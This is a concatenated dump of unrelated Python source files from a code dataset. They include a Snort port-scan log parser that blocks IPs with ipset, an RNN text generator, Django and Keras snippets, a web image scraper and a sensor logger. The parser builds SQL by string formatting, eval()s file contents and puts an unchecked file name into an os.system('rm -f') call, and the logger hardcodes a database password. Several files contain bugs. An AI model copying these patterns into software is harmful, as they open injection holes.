handle_log(lines)\n break\n logger.debug(\"loop handle queue over!\")\n\n\n# 处理一个完整的日志\ndef handle_log(lines):\n field_dict = {}\n for i, line in enumerate(lines):\n # 时间\n if line.startswith('Time:'):\n Time = line.split(':', 1)[1].split('.')[0].strip().replace('/',' ').replace('-',' ').replace(':',' ').split(' ')\n year = time.strftime(\"%Y\", time.localtime())\n dateC=datetime.datetime(int(year),int(Time[0]),int(Time[1]),int(Time[2]),int(Time[3]))\n timestamp=time.mktime(dateC.timetuple())\n field_dict['iTime']=timestamp\n\n # 来源地址 and 目的地址 and 扫瞄类型\n elif '->' in line and '(portscan)' in line:\n source_target=[]\n for tmp in line.split():\n try:\n ip = IP(tmp)\n source_target.append(ip)\n except Exception as e:\n pass\n field_dict['sSourceAddr'] = source_target[0]\n field_dict['sTargetAddr'] = source_target[1]\n portscan = line.split('(portscan)')[1].strip()\n field_dict['sScanType'] = portscan\n # 链接数\n elif line.startswith('Connection Count:'):\n field_dict['iConnectNum'] = line.split(':')[1].strip()\n # 地址数\n elif line.startswith('IP Count:'):\n field_dict['iAddressNum'] = line.split(':')[1].strip()\n # 端口数\n elif line.startswith('Port/Proto Count:'):\n field_dict['iPortNum'] = line.split(':')[1].strip()\n # 端口范围\n elif line.startswith('Port/Proto Range:'):\n field_dict['iPortRange'] = line.split(':', 1)[1].strip()\n elif line.startswith('Scanning trace:'):\n scanning_trace_string=[]\n for tmp in lines[i+1:]:\n if len(tmp)>1:\n scanning_trace_string.append(tmp)\n else:\n break\n field_dict['scanning_trace'] = ','.join(scanning_trace_string)\n\n sql = 'INSERT INTO m_tbprotected_log(id,iTime, sScanType, sSourceAddr, \\\n sTargetAddr, iConnectNum, iAddressNum, iPortNum, iPortRange,sDetail) \\\n VALUES (Null,\"%s\", \"%s\", \"%s\", \"%s\", \"%s\", \"%s\", \"%s\", \"%s\",\"%s\")'\n global STOP_TIME, STOP_SRC\n\n # 如果勾选了阻止攻击来源, 则设置iptables规则\n ipet_rule = lambda v4_or_v6,addr,timeout:'/usr/local/sbin/ipset add scan_blist_v4 \"%s\" timeout \"%s\"'\n if 1:\n if STOP_SRC == '1':\n scan_cmd = ''\n if IP(field_dict['sSourceAddr']).version() == 4:\n scan_cmd = '/usr/local/sbin/ipset add scan_blist_v4 {addr} {timeout}'\\\n .format(addr=field_dict['sSourceAddr'],timeout='timeout %s'%str(int(STOP_TIME)*60) if STOP_TIME is not None else 'timeout 0')\n if IP(field_dict['sSourceAddr']).version() == 6:\n scan_cmd = '/usr/local/sbin/ipset add scan_blist_v6 {addr} {timeout}'\\\n .format(addr=field_dict['sSourceAddr'],timeout='timeout %s'%str(int(STOP_TIME)*60) if STOP_TIME is not None else 'timeout 0')\n #scan_cmd = '/usr/local/sbin/ipset add scan_blist_v6 \"%s\" timeout \"%s\"'%(item['sSourceAddr'],int(STOP_TIME)*60)\n if scan_cmd:\n (status, output) = COMMANDS(scan_cmd)\n #getLogger('REVSCAN').debug('%s %s' %(scan_cmd, output))\n try:\n sql_log = sql % (field_dict['iTime'], field_dict['sScanType'], field_dict['sSourceAddr'], field_dict['sTargetAddr'], field_dict['iConnectNum'], \\\n field_dict['iAddressNum'], field_dict['iPortNum'], field_dict['iPortRange'], field_dict['scanning_trace'])\n execute_sql(sql_log)\n except Exception as e:\n logger.error(field_dict)\n\n\n# 反扫描日志文件处理\ndef revscan_log_file_new():\n \"\"\"\n 开启两个线程,一个负责轮询日志文件,将读取的内容写入队列,另一个负责读取列队中的内容\n :return:\n \"\"\"\n q = Queue(maxsize=1024*1024)\n threading.Thread(target=loop_read_file, args=(\"/etc/snort/log/log\", q)).start()\n threading.Thread(target=loop_handle_queue, args=(q, )).start()\n\n\ndef revscan_log_file():\n \"\"\"\n 分析反向扫描日志文件, 提取���应字段并入库\n \"\"\"\n\n # 判断是否存在revscn文件, 不存在则创建\n if mkdir_file('/usr/local/bluedon/conf/revscan', 'file'):\n con = json.dumps({'size': 0})\n write_file('/usr/local/bluedon/conf/revscan', con)\n\n f_record = open('/usr/local/bluedon/conf/revscan','r')\n res = eval(f_record.read()) or {'size': 0}\n f_record.close()\n\n file_now_size = os.path.getsize('/etc/snort/log/log')\n if int(res.get('size', 0)) == file_now_size:\n logger.debug('日志文件没有新增的内容')\n return\n if int(res.get('size', 0))>file_now_size:\n con = json.dumps({'size': file_now_size})\n write_file('/usr/local/bluedon/conf/revscan', con)\n return\n\n # 分析log文件, 提取相应内容\n field_list = []\n with open('/etc/snort/log/log','r') as f:\n seek_position = int(res.get('size'))\n # if seek_position>10:\n # seek_position = seek_position-10\n f.seek(seek_position)\n lines = f.read(file_now_size - seek_position).split('\\n')\n con = json.dumps({'size': file_now_size})\n write_file('/usr/local/bluedon/conf/revscan', con)\n\n field_dict = {}\n for i,line in enumerate(lines):\n # 时间\n if line.startswith('Time:'):\n Time = line.split(':', 1)[1].split('.')[0].strip().replace('/',' ').replace('-',' ').replace(':',' ').split(' ')\n year = time.strftime(\"%Y\", time.localtime())\n dateC=datetime.datetime(int(year),int(Time[0]),int(Time[1]),int(Time[2]),int(Time[3]))\n timestamp=time.mktime(dateC.timetuple())\n field_dict['iTime']=timestamp\n\n # 来源地址 and 目的地址 and 扫瞄类型\n elif '->' in line and '(portscan)' in line:\n source_target=[]\n for tmp in line.split():\n try:\n ip = IP(tmp)\n source_target.append(ip)\n except Exception as e:\n pass\n field_dict['sSourceAddr'] = source_target[0]\n field_dict['sTargetAddr'] = source_target[1]\n portscan = line.split('(portscan)')[1].strip()\n field_dict['sScanType'] = portscan\n # 链接数\n elif line.startswith('Connection Count:'):\n field_dict['iConnectNum'] = line.split(':')[1].strip()\n # 地址数\n elif line.startswith('IP Count:'):\n field_dict['iAddressNum'] = line.split(':')[1].strip()\n # 端口数\n elif line.startswith('Port/Proto Count:'):\n field_dict['iPortNum'] = line.split(':')[1].strip()\n # 端口范围\n elif line.startswith('Port/Proto Range:'):\n field_dict['iPortRange'] = line.split(':', 1)[1].strip()\n elif line.startswith('Scanning trace:'):\n scanning_trace_string=[]\n for tmp in lines[i+1:]:\n if len(tmp)>1:\n scanning_trace_string.append(tmp)\n else:\n break\n field_dict['scanning_trace'] = ','.join(scanning_trace_string)\n\n if field_dict:\n field_list.append(field_dict)\n field_dict = {}\n\n sql = 'INSERT INTO m_tbprotected_log(id,iTime, sScanType, sSourceAddr, \\\n sTargetAddr, iConnectNum, iAddressNum, iPortNum, iPortRange,sDetail) \\\n VALUES (Null,\"%s\", \"%s\", \"%s\", \"%s\", \"%s\", \"%s\", \"%s\", \"%s\",\"%s\")'\n global STOP_TIME, STOP_SRC\n\n # 如果勾选了阻止攻击来源, 则设置iptables规则\n ipet_rule = lambda v4_or_v6,addr,timeout:'/usr/local/sbin/ipset add scan_blist_v4 \"%s\" timeout \"%s\"'\n if 1:\n for item in field_list:\n if STOP_SRC == '1':\n scan_cmd = ''\n if IP(item['sSourceAddr']).version() == 4:\n scan_cmd = '/usr/local/sbin/ipset add scan_blist_v4 {addr} {timeout}'\\\n .format(addr=item['sSourceAddr'],timeout='timeout %s'%str(int(STOP_TIME)*60) if STOP_TIME is not None else 'timeout 0')\n if IP(item['sSourceAddr']).version() == 6:\n scan_cmd = '/usr/local/sbin/ipset add scan_blist_v6 {addr} {timeout}'\\\n .format(addr=item['sSourceAddr'],timeout='timeout %s'%str(int(STOP_TIME)*60) if STOP_TIME is not None else 'timeout 0')\n #scan_cmd = '/usr/local/sbin/ipset add scan_blist_v6 \"%s\" timeout \"%s\"'%(item['sSourceAddr'],int(STOP_TIME)*60)\n if scan_cmd:\n (status, output) = COMMANDS(scan_cmd)\n #getLogger('REVSCAN').debug('%s %s' %(scan_cmd, output))\n try:\n sql_log = sql % (item['iTime'], item['sScanType'], item['sSourceAddr'], item['sTargetAddr'], item['iConnectNum'],\\\n item['iAddressNum'],item['iPortNum'], item['iPortRange'],item['scanning_trace'])\n execute_sql(sql_log)\n except Exception as e:\n logger.error(item)\n\n if os.path.getsize('/etc/snort/log/log')>1000**3:\n open('/etc/snort/log/log','w').close()\n con = json.dumps({'size': 0})\n write_file('/usr/local/bluedon/conf/revscan', con)\n\ndef process_revscan(action, data,reset=True):\n\n global STOP_TIME, STOP_SRC,php_to_python_revscanfile,FLAG\n if data:\n if data.has_key('stop_time'):\n\n STOP_TIME = int(data['stop_time']) if data['stop_time'] else 0\n if data.has_key('stop_src'):\n STOP_SRC = str(data['stop_src'])\n if reset:\n php_to_python_revscanfile = data['Revscanfile']\n\n if action =='start':\n FLAG = True\n revscan_conf_file(data)\n content=json.dumps({'start': 1})\n rev = REVSCAN_THREAD(run_revscan_client, revscan_log_file_new,data,content,reset)\n rev.start()\n\n elif action=='restart':\n (s, o) = COMMANDS('killall snort')\n while 1:\n re = search_process()\n if not re:\n break\n time.sleep(4)\n FLAG = True\n os.system('/usr/local/sbin/ipset flush scan_blist_v4')\n os.system('/usr/local/sbin/ipset flush scan_blist_v6')\n revscan_conf_file(data)\n content=json.dumps({'start': 1})\n rev = REVSCAN_THREAD(run_revscan_client, revscan_log_file_new,data,content,reset)\n rev.start()\n\n elif action == 'stop':\n os.system('/usr/local/sbin/ipset flush scan_blist_v4')\n os.system('/usr/local/sbin/ipset flush scan_blist_v6')\n content = json.dumps({'start': 0})\n COMMANDS('killall snort')\n while 1:\n re = search_process()\n if not re:\n break\n open('/tmp/fifo/%s'%data['Revscanfile'],'w').close()\n fw=open('/tmp/fifo/revscan','w')\n print>>fw,content\n fw.close()\n\n\n elif action == 'refresh':\n res = search_process()\n if res == 1:\n content = json.dumps({'start': 1})\n fw=open('/tmp/fifo/revscan','w')\n print>>fw,content\n fw.close()\n else:\n content = json.dumps({'start': 0})\n fw=open('/tmp/fifo/revscan','w')\n print>>fw,content\n fw.close()\n if php_to_python_revscanfile:\n os.system('rm -f /tmp/fifo/%s'%php_to_python_revscanfile)\n\nif __name__ == '__main__':\n #revscan_conf_file(data)\n #revscan_conf_file(data)\n revscan_log_file()\n f = open()\n f.readlines()\n","sub_path":"chuhuo_2.71/bluedon/smartdefend/revscan.py","file_name":"revscan.py","file_ext":"py","file_size_in_byte":16628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"588903089","text":"\"\"\"\nThis script writes out prediction given a trained model\n\nUsage:\npython mythic_writer_character.py --model_file ./foo.pt --seed_string Bar\n\n@author: Brad Beechler (brad.e.beechler@gmail.com)\n# Last Modification: 09/20/2017 (Brad Beechler)\n\"\"\"\nfrom uplog import log\nimport torch\nimport mythic_common as common\nimport mythic_model_character\n\n\ndef generate(decoder, seed_string='A', predict_length=100, temperature=0.8, cuda=False):\n hidden = decoder.init_hidden(1)\n prime_input = mythic_model_character.Variable(common.char_tensor(seed_string).unsqueeze(0))\n\n if cuda:\n hidden = hidden.cuda()\n prime_input = prime_input.cuda()\n predicted = seed_string\n\n # Use priming string to \"build up\" hidden state\n for p in range(len(seed_string) - 1):\n _, hidden = decoder(prime_input[:, p], hidden)\n\n inp = prime_input[:, -1]\n\n for p in range(predict_length):\n output, hidden = decoder(inp, hidden)\n\n # Sample from the network as a multinomial distribution\n output_dist = output.data.view(-1).div(temperature).exp()\n top_i = torch.multinomial(output_dist, 1)[0]\n\n # Add predicted character to string and use as next input\n predicted_char = common.trainable_characters[top_i]\n predicted += predicted_char\n inp = mythic_model_character.Variable(common.char_tensor(predicted_char).unsqueeze(0))\n if cuda:\n inp = inp.cuda()\n\n return predicted\n\n\nif __name__ == '__main__':\n \"\"\"\n CLI driver to rerun a model prediction\n \"\"\"\n # Get settings from command line\n write_settings = common.WriterSettings()\n if write_settings.debug:\n log.out.setLevel('DEBUG')\n else:\n log.out.setLevel('INFO')\n\n # Parse command line arguments\n log.out.info(\"Loading model from file: \" + write_settings.model_file)\n decoder = torch.load(write_settings.model_file)\n predicted_string = generate(decoder,\n seed_string=write_settings.seed_string,\n predict_length=write_settings.predict_length,\n temperature=write_settings.temperature,\n cuda=write_settings.cuda)\n log.out.info(\"Seed string: \" + \"\\n\" + write_settings.seed_string)\n log.out.info(\"Predicted string: \" + \"\\n\" + predicted_string)\n","sub_path":"mythic_writer_character.py","file_name":"mythic_writer_character.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"467488452","text":"from django.urls import path\nfrom .views import CreateUser, Authentication, User_Detail, logout, getToken\n\nurlpatterns = [\n path('', CreateUser.as_view()),\n path('login/', Authentication.as_view()),\n path('/', User_Detail.as_view()),\n path('logout/', logout),\n path('getToken/', getToken)\n]","sub_path":"django-backend/noScalpersProject/auth_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"67454664","text":"\n\ndef plot_results(models, data, batch_size=128, model_name='vae_mnist'):\n 'Plots labels and MNIST digits as a function of the 2D latent vector\\n\\n # Arguments\\n models (tuple): encoder and decoder models\\n data (tuple): test data and label\\n batch_size (int): prediction batch size\\n model_name (string): which model is using this function\\n '\n (encoder, decoder) = models\n (x_test, y_test) = data\n os.makedirs(model_name, exist_ok=True)\n filename = os.path.join(model_name, 'vae_mean.png')\n (z_mean, _, _) = encoder.predict(x_test, batch_size=batch_size)\n plt.figure(figsize=(12, 10))\n plt.scatter(z_mean[:, 0], z_mean[:, 1], c=y_test)\n plt.colorbar()\n plt.xlabel('z[0]')\n plt.ylabel('z[1]')\n plt.savefig(filename)\n plt.show()\n filename = os.path.join(model_name, 'digits_over_latent.png')\n n = 30\n digit_size = 28\n figure = np.zeros(((digit_size * n), (digit_size * n)))\n grid_x = np.linspace((- 4), 4, n)\n grid_y = np.linspace((- 4), 4, n)[::(- 1)]\n for (i, yi) in enumerate(grid_y):\n for (j, xi) in enumerate(grid_x):\n z_sample = np.array([[xi, yi]])\n x_decoded = decoder.predict(z_sample)\n digit = x_decoded[0].reshape(digit_size, digit_size)\n figure[(i * digit_size):((i + 1) * digit_size), (j * digit_size):((j + 1) * digit_size)] = digit\n plt.figure(figsize=(10, 10))\n start_range = (digit_size // 2)\n end_range = ((((n - 1) * digit_size) + start_range) + 1)\n pixel_range = np.arange(start_range, end_range, digit_size)\n sample_range_x = np.round(grid_x, 1)\n sample_range_y = np.round(grid_y, 1)\n plt.xticks(pixel_range, sample_range_x)\n plt.yticks(pixel_range, sample_range_y)\n plt.xlabel('z[0]')\n plt.ylabel('z[1]')\n plt.imshow(figure, cmap='Greys_r')\n plt.savefig(filename)\n plt.show()\n","sub_path":"Data Set/bug-fixing-1/d7ea34fcc87159ec7d3b5a802b34629f756dd923--fix.py","file_name":"d7ea34fcc87159ec7d3b5a802b34629f756dd923--fix.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"33614810","text":"# -*- coding: utf-8 -*-\n# This map creation algorithm creates a donut shaped map. The cities are uniformly \n# distributed among [1,360] degrees and the radial distance is from a normal distrubtion\n# with mean = 0.5 and std dev = 0.05.\n# -------------------------------------------------------------------------------------- #\nimport numpy as np\n\n\n# -------------------------------------------------------------------------------------- # \ndef get_angle_and_radius():\n # returns one angle in degrees (integer between [0,359]) and one radius. radii are\n # chosen from a random normal distribution with mean of 0.5 and std dev of 0.05.\n theta = np.random.randint(low=0,high=180)\n R = np.random.normal(loc=0.0,scale=0.05)\n return theta, R\n\n\ndef polar_to_cartesian(theta, R):\n # converts polar coordinates (angle in degrees and distance from center) to cartesian\n # (X and Y)\n theta_rad = theta * (2.0*np.pi/360.0)\n x = np.sin(theta_rad) * R\n y = np.cos(theta_rad) * R\n return x,y\n\n\n# -------------------------------------------------------------------------------------- #\ndef create_map(args):\n # first define empty arrays\n map = np.zeros(shape=[ args['N'], 2])\n # loop through each element, populating map with nonzero x's and y's\n for index in range(0, args['N']):\n # define initial values that are certainly not allowed \n x = -1.0\n y = -1.0\n # keep randomly picking values until you get some allowed ones\n while x < 0.0 or x > 1.0 or y < 0.0 or y > 1.0:\n theta, R = get_angle_and_radius()\n x,y = polar_to_cartesian(theta, R)\n # make (0.5,0.5) the middle of the donut\n x = x + 0.5\n y = y + 0.5\n map[index,0] = x\n map[index,1] = y\n\n return map\n# -------------------------------------------------------------------------------------- #\nif __name__ == '__main__':\n #print create_map({'number_of_cities':10})\n pass\n","sub_path":"src/map_creation/ball.py","file_name":"ball.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"648184834","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models\n\n\nclass InvoiceProfile(models.Model):\n client = models.OneToOneField('timesheets.Client')\n payment_id = models.CharField(max_length=255)\n\n\nclass Invoice(models.Model):\n invoice_profile = models.ForeignKey('invoicing.Client')\n entries = models.ManyToManyField('timesheets.Entry')\n hourly_rate = models.DecimalField(max_digits=10, decimal_places=2)\n total_billed = models.DecimalField(max_digits=10, decimal_places=2)\n transaction_id = models.CharField(max_lenght=255)\n","sub_path":"invoicing/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"31087163","text":"class Solution(object):\n def isUgly(self, num):\n \"\"\"\n :type num: int\n :rtype: bool\n \"\"\"\n if num <= 0:\n return False\n uglyFactor = (2,3,5)\n for i in uglyFactor:\n while num%i == 0:\n num = num/i\n return num == 1 \n ","sub_path":"263-Ugly-Number/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"237459784","text":"import requests\nimport re\nimport os\n\nheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36'}\nname = input('image label:')\nif not os.path.exists('./{}'.format(name)):\n os.mkdir(name)\nnum = 0\nx = input('how many?')\nfor i in range(int(x)):\n url = 'https://image.baidu.com/search/flip?tn=baiduimage&ie=utf-8&word='+name+'&pn='+str(i*30)\n res = requests.get(url, headers=headers)\n htlm_1 = res.content.decode()\n a = re.findall('\"objURL\":\"(.*?)\",', htlm_1)\n for b in a:\n num = num + 1\n try:\n img = requests.get(b)\n except Exception as e:\n print('cant '+str(num))\n print(str(e))\n continue\n f = open('./{}/{}.jpg'.format(name, num), 'ab')\n print('downloading {}/{}.jpg')\n f.write(img.content)\n f.close()\nprint('done.')\n","sub_path":"Spyder/spyder4.py","file_name":"spyder4.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"105020547","text":"# -*- coding: utf-8 -*-\nimport re\nfrom string import *\n\n# 正则表达式部分\nrepl_dict = dict() # 正则表达式标志\nadd_seq_dict = dict() # 标志是否需要标号\nrepl_dict['ref'] = '\\[[0-9]*\\]'\nadd_seq_dict['ref'] = True\nrepl_dict['year'] = '[1-2][0-9]{3}年'\nadd_seq_dict['year'] = True\n# 不太重要的标志,跟语义无关的标志\nrepl_dict[' '] = '\\u3000'\nadd_seq_dict[' '] = False\nrepl_dict['longNum'] = '[0-9]+((,|,)[0-9]+)+'\nadd_seq_dict['longNum'] = False\nrepl_dict['float'] = '[0-9]+\\.[0-9]+'\nadd_seq_dict['float'] = False\nrepl_dict['num'] = '[0-9]{3}[0-9]*'\nadd_seq_dict['num'] = False\n# \n\n'''\n百分数:不处理,但是分词分不出来,这样不行\n'''\n\ndef repl_str(param_str):\n '''\n param_str: 把param_str中匹配到的模式替换\n '''\n for elem in repl_dict:\n sign_list = []\n while re.search(repl_dict[elem], param_str):\n (start, end) = re.search(repl_dict[elem], param_str).span()\n matched = param_str[start:end]\n # print(matched)\n if not matched in sign_list:\n sign_list.append(matched)\n idx = sign_list.index(matched)\n # print(\"Before:\", param_str)\n if add_seq_dict[elem]:\n # param_str = re.sub(matched, elem + str(idx), param_str)\n param_str = param_str.replace(matched, elem + str(idx), 1)\n else:\n # param_str = re.sub(matched, elem, param_str)\n param_str = param_str.replace(matched, elem, 1)\n # print(\"After:\", param_str)\n return param_str","sub_path":"my-lib/my_replace.py","file_name":"my_replace.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"299347522","text":"import logging\n\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom packages.models import Package\nfrom packages.tasks import fetch_package_api_data\n\nlogger = logging.getLogger('packages.commands')\n\nclass Command(BaseCommand):\n help = 'Fetch all packages from pypi'\n\n def handle(self, *args, **options):\n f = open('simple.txt', 'r')\n\n items = [item.replace('\\n', '') for item in f.readlines()]\n for item in items:\n logger.info('Indexing package %s' % item)\n package_name = 'http://pypi.python.org/pypi/%s'\n \n pkg = package_name % item\n obj, created = Package.objects.get_or_create(guid=pkg)\n\n if created:\n logger.info('Create package %s' % item)\n fetch_package_api_data.delay(obj.id)\n obj.save()\n ","sub_path":"mangalia/apps/packages/management/commands/fetch_packages.py","file_name":"fetch_packages.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"449246452","text":"#!/usr/bin/python\n\nimport RPi.GPIO as GPIO\nimport time\nimport Adafruit_DHT\nimport Adafruit_ADS1x15\nimport mysql.connector\nimport datetime\n\nMOISTURE_ANALOG = 0\nMOISTURE_POWER_PIN = 27\n\nLIGHT_PIN = 22\nLIGHT_POWER_PIN = 23\n\nTEMP_1_PIN = 4\nTEMP_2_PIN = 14\n\nGREEN_LED_PIN = 19\n\nGAIN = 1\n\ndef read_analog_moisture():\n adc = Adafruit_ADS1x15.ADS1115()\n GPIO.setup(MOISTURE_POWER_PIN, GPIO.OUT)\n GPIO.output(MOISTURE_POWER_PIN, True)\n for i in range(1, 10):\n time.sleep(0.5)\n data = adc.read_adc(MOISTURE_ANALOG, gain=GAIN)\n return data\n\ndef read_light():\n GPIO.setup(LIGHT_PIN, GPIO.IN)\n GPIO.setup(LIGHT_POWER_PIN, GPIO.OUT)\n GPIO.output(LIGHT_POWER_PIN, True)\n time.sleep(0.3)\n moisture = GPIO.input(LIGHT_PIN)\n time.sleep(0.3)\n GPIO.output(LIGHT_POWER_PIN, False)\n return moisture\n\ndef read_temperature_humidity_1():\n humidity, temperature = Adafruit_DHT.read_retry(Adafruit_DHT.DHT11, TEMP_1_PIN)\n return humidity, temperature\n\ndef read_temperature_humidity_2():\n humidity, temperature = Adafruit_DHT.read_retry(Adafruit_DHT.DHT22, TEMP_2_PIN)\n return humidity, temperature\n\nhour = datetime.datetime.now().hour \nnight = hour >= 22 or hour <= 5\n\nGPIO.setmode(GPIO.BCM)\nif not night:\n\tGPIO.setup(GREEN_LED_PIN, GPIO.OUT)\n\tGPIO.output(GREEN_LED_PIN, True)\n\ntry:\n moisture = read_analog_moisture()\nexcept IOError:\n print(\"can't read from moisture sensor\")\n moisture = 0\nlight = read_light();\n\n#GPIO.setmode(GPIO.BOARD)\nhum1, temp1 = read_temperature_humidity_1();\nhum2, temp2 = read_temperature_humidity_2();\n\nprint('Temp1={0}*C Humidity1={1}'.format(temp1, hum1))\nprint('Temp2={0}*C Humidity2={1}'.format(temp2, hum2))\nprint('Moisture={0} Light={1}'.format(moisture, light))\n\ncurrent_datetime = datetime.datetime.now()\n\ncnx = mysql.connector.connect(user='growroom', password='growpassword', database='growroom')\ncursor = cnx.cursor()\nadd_sensor_data = \"INSERT INTO sensor_data(read_date, temperature_1, humidity_1, temperature_2, humidity_2, soil_moisture, light) VALUES(%s, %s, %s, %s, %s, %s, %s)\"\nsensor_data = (current_datetime, temp1, hum1, temp2, hum2, moisture, light)\ncursor.execute(add_sensor_data, sensor_data)\ncnx.commit()\n\nif not night:\n\tGPIO.output(GREEN_LED_PIN, False)\n\nGPIO.cleanup();\n\n\n","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"78156228","text":"'''\r\n This file is part of PM4Py (More Info: https://pm4py.fit.fraunhofer.de).\r\n\r\n PM4Py is free software: you can redistribute it and/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation, either version 3 of the License, or\r\n (at your option) any later version.\r\n\r\n PM4Py is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n GNU General Public License for more details.\r\n\r\n You should have received a copy of the GNU General Public License\r\n along with PM4Py. If not, see .\r\n'''\r\nfrom pm4py.objects.dfg.retrieval import log as log_retrieval\r\nfrom pm4py.statistics.attributes.log import get as attr_get\r\nfrom pm4py.util import xes_constants as xes\r\nfrom pm4py.visualization.petrinet.common import visualize\r\nfrom pm4py.visualization.petrinet.util.vis_trans_shortest_paths import get_decorations_from_dfg_spaths_acticount\r\nfrom pm4py.visualization.petrinet.util.vis_trans_shortest_paths import get_shortest_paths\r\nfrom pm4py.visualization.petrinet.parameters import Parameters\r\nfrom pm4py.util import exec_utils\r\n\r\n\r\ndef get_decorated_net(net, initial_marking, final_marking, log, parameters=None, variant=\"frequency\"):\r\n \"\"\"\r\n Get a decorated net according to the specified variant (decorate Petri net based on DFG)\r\n\r\n Parameters\r\n ------------\r\n net\r\n Petri net\r\n initial_marking\r\n Initial marking\r\n final_marking\r\n Final marking\r\n log\r\n Log to use to decorate the Petri net\r\n parameters\r\n Algorithm parameters\r\n variant\r\n Specify if the decoration should take into account the frequency or the performance\r\n\r\n Returns\r\n ------------\r\n gviz\r\n GraphViz object\r\n \"\"\"\r\n if parameters is None:\r\n parameters = {}\r\n\r\n aggregation_measure = exec_utils.get_param_value(Parameters.AGGREGATION_MEASURE, parameters,\r\n \"sum\" if \"frequency\" in variant else \"mean\")\r\n\r\n activity_key = exec_utils.get_param_value(Parameters.ACTIVITY_KEY, parameters, xes.DEFAULT_NAME_KEY)\r\n\r\n # we find the DFG\r\n if variant == \"performance\":\r\n dfg = log_retrieval.performance(log, parameters=parameters)\r\n else:\r\n dfg = log_retrieval.native(log, parameters=parameters)\r\n # we find shortest paths\r\n spaths = get_shortest_paths(net)\r\n # we find the number of activities occurrences in the log\r\n activities_count = attr_get.get_attribute_values(log, activity_key, parameters=parameters)\r\n aggregated_statistics = get_decorations_from_dfg_spaths_acticount(net, dfg, spaths,\r\n activities_count,\r\n variant=variant,\r\n aggregation_measure=aggregation_measure)\r\n\r\n return visualize.apply(net, initial_marking, final_marking, parameters=parameters,\r\n decorations=aggregated_statistics)\r\n\r\n\r\ndef apply(net, initial_marking, final_marking, log=None, aggregated_statistics=None, parameters=None):\r\n \"\"\"\r\n Apply frequency decoration through greedy algorithm (decorate Petri net based on DFG)\r\n\r\n Parameters\r\n ------------\r\n net\r\n Petri net\r\n initial_marking\r\n Initial marking\r\n final_marking\r\n Final marking\r\n log\r\n Log to use to decorate the Petri net\r\n aggregated_statistics\r\n Dictionary containing the frequency statistics\r\n parameters\r\n Algorithm parameters\r\n\r\n Returns\r\n ------------\r\n gviz\r\n GraphViz object\r\n \"\"\"\r\n del aggregated_statistics\r\n return get_decorated_net(net, initial_marking, final_marking, log, parameters=parameters, variant=\"frequency\")\r\n","sub_path":"venv/lib/python3.8/site-packages/pm4py/visualization/petrinet/variants/greedy_decoration_frequency.py","file_name":"greedy_decoration_frequency.py","file_ext":"py","file_size_in_byte":4001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"31923052","text":"#!/usr/bin/env python3\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import Dropout\nfrom keras.layers import LSTM\nfrom keras.layers.embeddings import Embedding\nfrom keras.layers import Flatten\nfrom keras.layers import Dense, Conv1D, Flatten, MaxPooling1D\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport re\nimport signal\nimport sys\n\nvocab_size = 10000\n\nmax_words_review = 100\n\ndef create_embedding_matrix(filepath, embedding_dim):\n embedding_matrix = np.zeros((vocab_size, embedding_dim))\n wordBank = dict()\n wordsProcessed = 1\n with open(filepath) as f:\n for line in f:\n if wordsProcessed > vocab_size - 1:\n break\n\n # Split the word with the numbers\n word, *vector = line.split()\n # Add token ID\n wordBank[word]=wordsProcessed\n\n embedding_matrix[wordsProcessed] = np.array(\n vector, dtype=np.float32)[:embedding_dim]\n\n wordsProcessed += 1\n\n return embedding_matrix, wordBank\n\nembedding_dim = 50\nembedding_matrix, word_bank = create_embedding_matrix('glove/glove.6B.50d.txt', embedding_dim)\n\ndef dataGenerator(filePathText, filePathFunny):\n filesText = [name for name in os.listdir(filePathText)]\n filesFunny = [name for name in os.listdir(filePathFunny)]\n\n assert(len(filesText) == len(filesFunny)) \n while True:\n for i in range(len(filesText)):\n filename_structure = filesText[i].split(\"_\")\n idFile = filename_structure[1] # Get the number after the underscore\n prefunny = filesFunny[0].split(\"_\") # Get the funny file before the underscore\n filename_funny = prefunny[0] + \"_\" + idFile\n\n fullTextFileName = filePathText + \"/\" + filesText[i]\n fullFunnyFileName = filePathFunny + \"/\" + filename_funny\n\n print(fullTextFileName)\n print(fullFunnyFileName)\n\n fdT = open(fullTextFileName, mode='rb')\n fdS = open(fullFunnyFileName, mode='r')\n \n # Read data in and out into a array/matrix like form\n dfTextBin = fdT.readlines() \n dfTextLong = [str(i) for i in 